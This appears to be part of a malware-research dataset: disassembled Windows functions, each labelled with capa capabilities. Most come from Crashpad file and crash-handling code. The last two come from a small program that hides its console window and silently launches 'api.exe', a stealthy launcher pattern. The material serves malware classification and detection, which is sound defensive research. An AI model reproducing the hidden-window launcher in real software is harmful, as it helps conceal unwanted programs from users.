joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1402219a0
Capabilities:
Terminate process

Disassembly:
push rsi
push rdi
sub rsp, 0x158
mov rsi, rcx
mov rax, qword [0x1402b7040]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov rax, qword [0x1402cfee0]
test rax, rax
jne 0x1402219e4
mov rdi, qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call rdi
mov rax, qword [0x1402cfee0]
test rax, rax
je 0x1402219d1
cmp eax, 2
jne 0x140221a2d
cmp dword [0x1402c9570], 2
jg 0x140221ac4
lea rdx, str....._third_partycrashpadcrashpadclientcrashpad_client_win.cc
lea rsi, [rsp + 0x20]
mov rcx, rsi
mov r8d, Ordinal_145
mov r9d, 2
call fcn.14002ea40
lea rcx, [rsp + 0x30]
lea rdx, str.crash_server_failed_to_launch__self_terminating
mov r8d, 0x2f
jmp 0x140221ab7
mov eax, 1
lock xadd qword [0x1402cff18], rax
inc rax
cmp rax, 2
jl 0x140221a51
mov ecx, 0xffffffff
xor edx, edx
call qword [sym.imp.KERNEL32.dll_SleepEx]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x1402cfea0], eax
mov qword [0x1402cfe98], rsi
mov rcx, qword [0x1402c5810]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov ecx, 0xea60
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x1402c9570], 2
jg 0x140221ac4
lea rdx, str....._third_partycrashpadcrashpadclientcrashpad_client_win.cc
lea rsi, [rsp + 0x20]
mov rcx, rsi
mov r8d, 0xbc
mov r9d, 2
call fcn.14002ea40
lea rcx, [rsp + 0x30]
lea rdx, str.crash_server_did_not_respond__self_terminating
mov r8d, reloc.WLDAP32.dll_Ordinal_46
call fcn.140183370
mov rcx, rsi
call fcn.140001aa0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xffff7001
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
cmp rcx, qword [0x1402b7040]
je 0x140221af2
call fcn.14019f290
int3
xor eax, eax
add rsp, 0x158
pop rdi
pop rsi
ret
Function at 0x14022f770
Capabilities:
Write file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0x28
mov rsi, rdx
mov rdi, rcx
xor edx, edx
xor r8d, r8d
call fcn.140057ef0
test rax, rax
jne 0x14022f7ae
mov rcx, rdi
call fcn.14004ff60
test al, al
je 0x14022f7ae
mov r8d, Ordinal_41
mov rcx, rdi
mov rdx, rsi
add rsp, 0x28
pop rdi
pop rsi
jmp fcn.14004ecc0
xor eax, eax
add rsp, 0x28
pop rdi
pop rsi
ret

Function at 0x140231d80
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x170
mov ebx, edx
mov rsi, rcx
mov rax, qword [0x1402b7040]
xor rax, rsp
mov qword [rsp + 0x168], rax
cmp byte [rcx + 0x17], 0
jns 0x140231daa
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140231df2
test bl, bl
jne 0x140231dea
mov ecx, eax
and ecx, 0x400
je 0x140231dea
xor eax, eax
mov rcx, qword [rsp + 0x168]
xor rcx, rsp
cmp rcx, qword [0x1402b7040]
je 0x140231ddf
call fcn.14019f290
int3
add rsp, 0x170
pop rbx
pop rdi
pop rsi
ret
and eax, 0x10
shr eax, 4
jmp 0x140231dc5
mov ecx, 2
call fcn.14019ae60
test al, al
je 0x140231dc3
call sub.KERNEL32.dll_GetLastError
mov dword [rsp + 0x20], eax
lea rdx, str....._third_partycrashpadcrashpadutil_file_filesystem_win.cc
lea rdi, [rsp + 0x30]
mov rcx, rdi
mov r8d, Ordinal_133
mov r9d, 2
call fcn.140205ad0
lea rcx, [rsp + 0x40]
lea rdx, str.GetFileAttributes
mov r8d, 0x12
call fcn.140183370
mov rcx, rax
mov rdx, rsi
call fcn.140206a60
mov rcx, rdi
call fcn.140205b40
jmp 0x140231dc3

Function at 0x140231e60
Capabilities:
Create directory

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x170
mov ebx, r8d
mov rsi, rcx
mov rax, qword [0x1402b7040]
xor rax, rsp
mov qword [rsp + 0x168], rax
cmp byte [rcx + 0x17], 0
jns 0x140231e8b
mov rcx, qword [rsi]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov dil, 1
test eax, eax
jne 0x140231f12
test bl, bl
je 0x140231eaf
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x140231f39
mov ecx, 2
call fcn.14019ae60
test al, al
je 0x140231f10
call sub.KERNEL32.dll_GetLastError
mov dword [rsp + 0x20], eax
lea rdx, str....._third_partycrashpadcrashpadutil_file_filesystem_win.cc
lea rdi, [rsp + 0x30]
mov rcx, rdi
mov r8d, 0x61
mov r9d, 2
call fcn.140205ad0
lea rcx, [rsp + 0x40]
lea rdx, str.CreateDirectory
mov r8d, 0x10
call fcn.140183370
mov rcx, rax
mov rdx, rsi
call fcn.140206a60
mov rcx, rdi
call fcn.140205b40
xor edi, edi
mov rcx, qword [rsp + 0x168]
xor rcx, rsp
cmp rcx, qword [0x1402b7040]
je 0x140231f2c
call fcn.14019f290
int3
mov eax, edi
add rsp, 0x170
pop rbx
pop rdi
pop rsi
ret
mov dil, 1
mov rcx, rsi
mov dl, 1
call fcn.140231d80
test al, al
jne 0x140231f12
mov ecx, 2
call fcn.14019ae60
test al, al
je 0x140231f10
lea rdx, str....._third_partycrashpadcrashpadutil_file_filesystem_win.cc
lea rdi, [rsp + 0x30]
mov rcx, rdi
mov r8d, 0x5c
mov r9d, 2
call fcn.14002ea40
lea rcx, [rsp + 0x40]
mov rdx, rsi
call fcn.140206a60
lea rdx, str._not_a_directory
mov r8d, 0x10
mov rcx, rax
call fcn.140183370
mov rcx, rdi
call fcn.140001aa0
jmp 0x140231f10
Function at 0x140231fb0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rsi
push rdi
sub rsp, 0x168
mov rsi, rcx
mov rax, qword [0x1402b7040]
xor rax, rsp
mov qword [rsp + 0x160], rax
cmp byte [rcx + 0x17], 0
jns 0x140231fd7
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14023200e
test eax, 0x410
sete al
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
cmp rcx, qword [0x1402b7040]
je 0x140232004
call fcn.14019f290
int3
add rsp, 0x168
pop rdi
pop rsi
ret
mov ecx, 2
call fcn.14019ae60
test al, al
je 0x14023206f
call sub.KERNEL32.dll_GetLastError
mov dword [rsp + 0x20], eax
lea rdx, str....._third_partycrashpadcrashpadutil_file_filesystem_win.cc
lea rdi, [rsp + 0x28]
mov rcx, rdi
mov r8d, Ordinal_117
mov r9d, 2
call fcn.140205ad0
lea rcx, [rsp + 0x38]
lea rdx, str.GetFileAttributes
mov r8d, 0x12
call fcn.140183370
mov rcx, rax
mov rdx, rsi
call fcn.140206a60
mov rcx, rdi
call fcn.140205b40
xor eax, eax
jmp 0x140231fea

Function at 0x140232080
Capabilities:
Check if file exists
Delete directory
Delete file

Disassembly:
push rsi
push rdi
sub rsp, 0x168
mov rsi, rcx
mov rax, qword [0x1402b7040]
xor rax, rsp
mov qword [rsp + 0x160], rax
cmp byte [rcx + 0x17], 0
jns 0x1402320a7
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
sete cl
not eax
test eax, 0x410
setne al
or al, cl
je 0x140232166
cmp byte [rsi + 0x17], 0
mov rcx, rsi
jns 0x1402320d1
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, eax
mov al, 1
test ecx, ecx
jne 0x140232142
mov ecx, 2
call fcn.14019ae60
test al, al
je 0x140232140
call sub.KERNEL32.dll_GetLastError
mov dword [rsp + 0x20], eax
lea rdx, str....._third_partycrashpadcrashpadutil_file_filesystem_win.cc
lea rdi, [rsp + 0x28]
mov rcx, rdi
mov r8d, reloc.WLDAP32.dll_Ordinal_147
mov r9d, 2
call fcn.140205ad0
lea rcx, [rsp + 0x38]
lea rdx, str.DeleteFile
mov r8d, Ordinal_14
call fcn.140183370
mov rcx, rax
mov rdx, rsi
call fcn.140206a60
mov rcx, rdi
call fcn.140205b40
xor eax, eax
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
cmp rcx, qword [0x1402b7040]
je 0x14023215c
call fcn.14019f290
int3
add rsp, 0x168
pop rdi
pop rsi
ret
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.14019f290
mov rcx, rsi
add rsp, 0x168
pop rdi
pop rsi
jmp fcn.140232190
Function at 0x140232190
Capabilities:
Delete directory

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x170
mov rsi, rcx
mov rax, qword [0x1402b7040]
xor rax, rsp
mov qword [rsp + 0x168], rax
cmp byte [rcx + 0x17], 0
jns 0x1402321b8
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov edi, eax
test eax, eax
je 0x1402321ee
test edi, edi
setne al
mov rcx, qword [rsp + 0x168]
xor rcx, rsp
cmp rcx, qword [0x1402b7040]
je 0x1402321e3
call fcn.14019f290
int3
add rsp, 0x170
pop rbx
pop rdi
pop rsi
ret
mov ecx, 2
call fcn.14019ae60
test al, al
je 0x1402321c4
call sub.KERNEL32.dll_GetLastError
mov dword [rsp + 0x20], eax
lea rdx, str....._third_partycrashpadcrashpadutil_file_filesystem_win.cc
lea rbx, [rsp + 0x30]
mov rcx, rbx
mov r8d, 0x2f
mov r9d, 2
call fcn.140205ad0
lea rcx, [rsp + 0x40]
lea rdx, str.RemoveDirectory
mov r8d, 0x10
call fcn.140183370
mov rcx, rax
mov rdx, rsi
call fcn.140206a60
mov rcx, rbx
call fcn.140205b40
jmp 0x1402321c4
Function at 0x140246cf0
Capabilities:
Query or enumerate registry value

Disassembly:
push rsi
push rdi
sub rsp, 0x48
mov rsi, r8
mov rax, qword [0x1402b7040]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov eax, 0xaaaaaaaa
lea rdi, [rsp + 0x3c]
mov dword [rdi], eax
lea r8, [rsp + 0x38]
mov dword [r8], eax
lea rax, [rsp + 0x34]
mov dword [rax], 4
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r8
xor r8d, r8d
mov r9, rdi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [rdi]
xor ecx, 4
or ecx, eax
sete al
jne 0x140246d4f
mov ecx, dword [rsp + 0x38]
mov dword [rsi], ecx
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
cmp rcx, qword [0x1402b7040]
je 0x140246d66
call fcn.14019f290
int3
add rsp, 0x48
pop rdi
pop rsi
ret

Function at 0x140246e10
Capabilities:
Get system information on windows

Disassembly:
push rsi
sub rsp, 0x190
mov rax, qword [0x1402b7040]
xor rax, rsp
mov qword [rsp + 0x188], rax
movaps xmm0, xmmword [0x140275a70]
lea rsi, [rsp + 0x150]
movaps xmmword [rsi + 0x20], xmm0
movaps xmmword [rsi + 0x10], xmm0
movaps xmmword [rsi], xmm0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rsi + 0x20], 0x100
jb 0x140246ea3
mov ecx, 1
call fcn.14019ae60
test al, al
je 0x140246ea3
lea rdx, str....._third_partycrashpadcrashpad_snapshotwin_system_snapshot_win.cc
lea rsi, [rsp + 0x20]
mov rcx, rsi
mov r8d, 0x10a
mov r9d, 1
call fcn.14002ea40
lea rcx, [rsp + 0x30]
lea rdx, str.dwNumberOfProcessors_exceeds_uint8_t_storage
mov r8d, Ordinal_46
call fcn.140183370
mov rcx, rsi
call fcn.140001aa0
mov ecx, dword [rsp + 0x170]
cmp ecx, 0x100
mov eax, 0xff
cmovb eax, ecx
mov rcx, qword [rsp + 0x188]
xor rcx, rsp
cmp rcx, qword [0x1402b7040]
je 0x140246ed2
call fcn.14019f290
int3
add rsp, 0x190
pop rsi
ret
Function at 0x14025aa60
Capabilities:
Parse pe header

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x1a0
mov rdi, r8
mov rbx, rdx
mov rsi, rcx
mov rax, qword [0x1402b7040]
xor rax, rsp
mov qword [rsp + 0x198], rax
movaps xmm0, xmmword [0x140275a70]
lea r15, [rsp + 0x150]
movaps xmmword [r15 + 0x30], xmm0
movaps xmmword [r15 + 0x20], xmm0
movaps xmmword [r15 + 0x10], xmm0
movaps xmmword [r15], xmm0
lea r14, [rcx + 0x18]
mov rcx, r14
call fcn.1401dc1c0
mov r8d, 0x40
mov rcx, rsi
mov rdx, rax
mov r9, r15
call fcn.140263ca0
test al, al
je 0x14025ab73
cmp word [rsp + 0x150], 0x5a4d
jne 0x14025ab2d
mov rcx, r14
call fcn.1401dc1c0
movsxd r14, dword [rsp + 0x18c]
add r14, rax
mov r8d, 0x108
mov rcx, rsi
mov rdx, r14
mov r9, rbx
call fcn.140263ca0
test al, al
je 0x14025ac07
cmp dword [rbx], 0x4550
jne 0x14025ac46
mov al, 1
test rdi, rdi
je 0x14025abde
mov qword [rdi], r14
jmp 0x14025abde
mov ecx, 1
call fcn.14019ae60
test al, al
je 0x14025abdc
lea rdx, str....._third_partycrashpadcrashpad_snapshotwinpe_image_reader.cc
lea rdi, [rsp + 0x20]
mov rcx, rdi
mov r8d, 0x15a
mov r9d, 1
call fcn.14002ea40
lea rcx, [rsp + 0x30]
lea rdx, str.invalid_e_magic_in_dos_header_of
mov r8d, 0x21
jmp 0x14025abb3
mov ecx, 1
call fcn.14019ae60
test al, al
je 0x14025abdc
lea rdx, str....._third_partycrashpadcrashpad_snapshotwinpe_image_reader.cc
lea rdi, [rsp + 0x20]
mov rcx, rdi
mov r8d, 0x154
mov r9d, 1
call fcn.14002ea40
lea rcx, [rsp + 0x30]
lea rdx, str.could_not_read_dos_header_from
mov r8d, 0x1f
call fcn.140183370
movsx r8, byte [rsi + 0x17]
test r8, r8
jns 0x14025abc9
mov r8, qword [rsi + 8]
mov rsi, qword [rsi]
mov rcx, rax
mov rdx, rsi
call fcn.140183370
mov rcx, rdi
call fcn.140001aa0
xor eax, eax
mov rcx, qword [rsp + 0x198]
xor rcx, rsp
cmp rcx, qword [0x1402b7040]
je 0x14025abf8
call fcn.14019f290
int3
add rsp, 0x1a0
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov ecx, 1
call fcn.14019ae60
test al, al
je 0x14025abdc
lea rdx, str....._third_partycrashpadcrashpad_snapshotwinpe_image_reader.cc
lea rdi, [rsp + 0x20]
mov rcx, rdi
mov r8d, 0x162
mov r9d, 1
call fcn.14002ea40
lea rcx, [rsp + 0x30]
lea rdx, str.could_not_read_nt_headers_from
jmp 0x14025abad
mov ecx, 1
call fcn.14019ae60
test al, al
je 0x14025abdc
lea rdx, str....._third_partycrashpadcrashpad_snapshotwinpe_image_reader.cc
lea rdi, [rsp + 0x20]
mov rcx, rdi
mov r8d, 0x168
mov r9d, 1
call fcn.14002ea40
lea rcx, [rsp + 0x30]
lea rdx, str.invalid_signature_in_nt_headers_of
mov r8d, 0x23
jmp 0x14025abb3
Function at 0x14025ac90
Capabilities:
Parse pe header

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x1a0
mov rdi, r8
mov rbx, rdx
mov rsi, rcx
mov rax, qword [0x1402b7040]
xor rax, rsp
mov qword [rsp + 0x198], rax
movaps xmm0, xmmword [0x140275a70]
lea r15, [rsp + 0x150]
movaps xmmword [r15 + 0x30], xmm0
movaps xmmword [r15 + 0x20], xmm0
movaps xmmword [r15 + 0x10], xmm0
movaps xmmword [r15], xmm0
lea r14, [rcx + 0x18]
mov rcx, r14
call fcn.1401dc1c0
mov r8d, 0x40
mov rcx, rsi
mov rdx, rax
mov r9, r15
call fcn.140263ca0
test al, al
je 0x14025ada3
cmp word [rsp + 0x150], 0x5a4d
jne 0x14025ad5d
mov rcx, r14
call fcn.1401dc1c0
movsxd r14, dword [rsp + 0x18c]
add r14, rax
mov r8d, 0xf8
mov rcx, rsi
mov rdx, r14
mov r9, rbx
call fcn.140263ca0
test al, al
je 0x14025ae37
cmp dword [rbx], 0x4550
jne 0x14025ae76
mov al, 1
test rdi, rdi
je 0x14025ae0e
mov qword [rdi], r14
jmp 0x14025ae0e
mov ecx, 1
call fcn.14019ae60
test al, al
je 0x14025ae0c
lea rdx, str....._third_partycrashpadcrashpad_snapshotwinpe_image_reader.cc
lea rdi, [rsp + 0x20]
mov rcx, rdi
mov r8d, 0x15a
mov r9d, 1
call fcn.14002ea40
lea rcx, [rsp + 0x30]
lea rdx, str.invalid_e_magic_in_dos_header_of
mov r8d, 0x21
jmp 0x14025ade3
mov ecx, 1
call fcn.14019ae60
test al, al
je 0x14025ae0c
lea rdx, str....._third_partycrashpadcrashpad_snapshotwinpe_image_reader.cc
lea rdi, [rsp + 0x20]
mov rcx, rdi
mov r8d, 0x154
mov r9d, 1
call fcn.14002ea40
lea rcx, [rsp + 0x30]
lea rdx, str.could_not_read_dos_header_from
mov r8d, 0x1f
call fcn.140183370
movsx r8, byte [rsi + 0x17]
test r8, r8
jns 0x14025adf9
mov r8, qword [rsi + 8]
mov rsi, qword [rsi]
mov rcx, rax
mov rdx, rsi
call fcn.140183370
mov rcx, rdi
call fcn.140001aa0
xor eax, eax
mov rcx, qword [rsp + 0x198]
xor rcx, rsp
cmp rcx, qword [0x1402b7040]
je 0x14025ae28
call fcn.14019f290
int3
add rsp, 0x1a0
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov ecx, 1
call fcn.14019ae60
test al, al
je 0x14025ae0c
lea rdx, str....._third_partycrashpadcrashpad_snapshotwinpe_image_reader.cc
lea rdi, [rsp + 0x20]
mov rcx, rdi
mov r8d, 0x162
mov r9d, 1
call fcn.14002ea40
lea rcx, [rsp + 0x30]
lea rdx, str.could_not_read_nt_headers_from
jmp 0x14025addd
mov ecx, 1
call fcn.14019ae60
test al, al
je 0x14025ae0c
lea rdx, str....._third_partycrashpadcrashpad_snapshotwinpe_image_reader.cc
lea rdi, [rsp + 0x20]
mov rcx, rdi
mov r8d, 0x168
mov r9d, 1
call fcn.14002ea40
lea rcx, [rsp + 0x30]
lea rdx, str.invalid_signature_in_nt_headers_of
mov r8d, 0x23
jmp 0x14025ade3
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140005500]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140005510]
mov dword [rax], 1
mov rax, qword [0x140005520]
mov dword [rax], 1
mov rax, qword [0x140005460]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x1400054f0]
mov dword [0x14000800c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x1400055c0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x1400055a0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x140005410]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x140001450
Capabilities:
Create process on windows

Disassembly:
push rbp
push rdi
push rbx
sub rsp, 0x100
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xa0], rcx
lea rdx, [rbp + 0x10]
mov eax, 0
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp + 0x10], 0x68
mov rdx, qword [rbp + 0xa0]
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov rdx, rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov dword [rbp + 0x7c], eax
cmp dword [rbp + 0x7c], 0
je 0x14000155c
lea rax, str.Process_started_successfully:
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [rbp + 0xa0]
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std::allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov rcx, rax
mov rax, qword [0x140005440]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x140001599
lea rax, str.Failed_to_start_process:
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [rbp + 0xa0]
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std::allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov rcx, rax
mov rax, qword [0x140005440]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x1400015c2
add rsp, 0x100
pop rbx
pop rdi
pop rbp
ret
Function at 0x1400015cd
Capabilities:
Hide graphical window

Disassembly:
push rbp
push rbx
sub rsp, 0x88
lea rbp, [rsp + 0x80]
call sym.__main
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rax, str.api.exe
mov qword [rbp - 0x30], rax
lea rax, [rbp - 0x30]
add rax, 8
lea rdx, [rbp - 0x21]
mov qword [rbp - 0x20], rdx
nop
nop
lea r8, [rbp - 0x21]
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x50]
mov r9, r8
mov r8, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.vector_char_const_const__void__char_const_const__cha
lea rax, [rbp - 0x21]
mov rcx, rax
call method.std::__new_allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____.__new_allocator__
nop
lea rax, [rbp - 0x50]
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.begin__
mov qword [rbp - 0x58], rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.end__
mov qword [rbp - 0x60], rax
jmp 0x140001698
lea rax, [rbp - 0x58]
mov rcx, rax
call sym.__gnu_cxx::__normal_iterator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_________::operator___const
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.RunProcess_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x58]
mov rcx, rax
call sym.__gnu_cxx::__normal_iterator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_________::operator__
lea rdx, [rbp - 0x60]
lea rax, [rbp - 0x58]
mov rcx, rax
call sym._ZN9__gnu_cxxneIPNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEESt6vectorIS6_SaIS6_EEEEbRKNS_17__normal_iteratorIT_T0_EES
test al, al
jne 0x140001670
mov ebx, 0
lea rax, [rbp - 0x50]
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.vector__
mov eax, ebx
jmp 0x1400016f6
add rsp, 0x88
pop rbx
pop rbp
ret